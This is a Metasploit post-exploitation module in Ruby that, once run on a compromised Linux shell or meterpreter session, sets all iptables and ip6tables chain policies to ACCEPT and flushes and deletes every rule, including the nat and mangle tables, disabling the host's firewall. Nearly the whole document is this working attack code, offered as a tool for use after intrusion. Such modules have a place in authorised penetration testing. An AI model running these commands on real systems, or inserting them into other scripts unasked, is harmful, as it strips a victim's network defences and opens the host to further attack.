IPTABLES rules removal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize
    super(
      'Name' => 'IPTABLES rules removal',
      'Description' => %q{
        This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.
      },
      'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
      'License' => MSF_LICENSE,
      'Platform' => ['linux'],
      'SessionTypes' => ['shell', 'meterpreter']
    )
  end

  def run
    if command_exists?('iptables')
      print_good('Deleting IPTABLES rules...')
      cmd_exec('iptables -P INPUT ACCEPT')
      cmd_exec('iptables -P FORWARD ACCEPT')
      cmd_exec('iptables -P OUTPUT ACCEPT')
      cmd_exec('iptables -t nat -F')
      cmd_exec('iptables -t mangle -F')
      cmd_exec('iptables -F')
      cmd_exec('iptables -X')
      print_good('iptables rules successfully executed')
    else
      print_line('iptables rules could not be executed')
    end
    if command_exists?('ip6tables')
      print_good('Deleting IP6TABLES rules...')
      cmd_exec('ip6tables -P INPUT ACCEPT')
      cmd_exec('ip6tables -P FORWARD ACCEPT')
      cmd_exec('ip6tables -P OUTPUT ACCEPT')
      cmd_exec('ip6tables -t nat -F')
      cmd_exec('ip6tables -t mangle -F')
      cmd_exec('ip6tables -F')
      cmd_exec('ip6tables -X')
      print_good('ip6tables rules successfully executed')
    else
      print_line('ip6tables rules could not be executed')
    end
  end
end